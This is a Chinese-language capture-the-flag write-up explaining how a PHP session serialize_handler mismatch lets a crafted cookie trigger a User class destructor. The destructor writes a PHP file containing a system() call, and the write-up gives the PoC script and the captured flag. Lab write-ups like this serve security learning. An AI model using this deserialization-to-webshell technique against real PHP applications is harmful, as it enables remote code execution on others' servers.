PHP/7.3.11session伪造
www.zip
通过 /www.zip 扫描到源码,这里目录扫描全是 200,建议使用可以看到返回包大小的扫描器,或者有 404 页面识别的扫描器,比如 dirmap
日常吐槽 fortify,咋啥也扫不出来 (x
seay 发现 file_put_contents 输入可控
利用前提:
利用点是 session.serialize_handler
与 php.ini 的配置不同引起的反序列化,至于为什么不同,如果相同的也就没必要加上这句设置了(ini_set('session.serialize_handler', 'php');
),毕竟是默认配置对吧
目标:
file_put_contents
可控点在inc/inc.php
在User
类,可以通过反序列化触发__destruct
思路:
- 首先访问两次首页,抓包可以看到
Cookie
limit
参数,构造 exp ,使得我们的反序列化数据写入 session 文件(通过$_SESSION['limit']=base64_decode($_COOKIE['limit']);
写入,这是PHP session 机制,可参考 此链接) - 因
inc/inc.php
存在ini_set('session.serialize_handler', 'php');
和session_start();
,只要访问即会获取之前写入的session
数据,然后check.php
包含inc/inc.php
,即会触发User类
的__destruct方法
,从而把恶意数据通过file_put_contents
写入名为log-$this.username
,内容为$this.password
的文件。
poc
<?php
class User{
public $username = 'tari.php';
public $password = '<?php system("cat flag.php") ?>';
}
$user = new User();
echo(base64_encode('|'.serialize($user)));
?>
这里加 '|'
是因为 session.serialize_handler
使用 php引擎
,session 关联数组的 key
和 value
是通过 '|'
区分的, value
是需要被反序列化的部分。然后默认不是用 php 引擎,所以…. 所以写入是正常字符串,在 inc/inc.php
这读取语义又不一样了。
随便请求一下 check.php
注意是 log-tari.php
!
flag
ctfshow{523efbab-b753-4d45-9eda-a54874346088}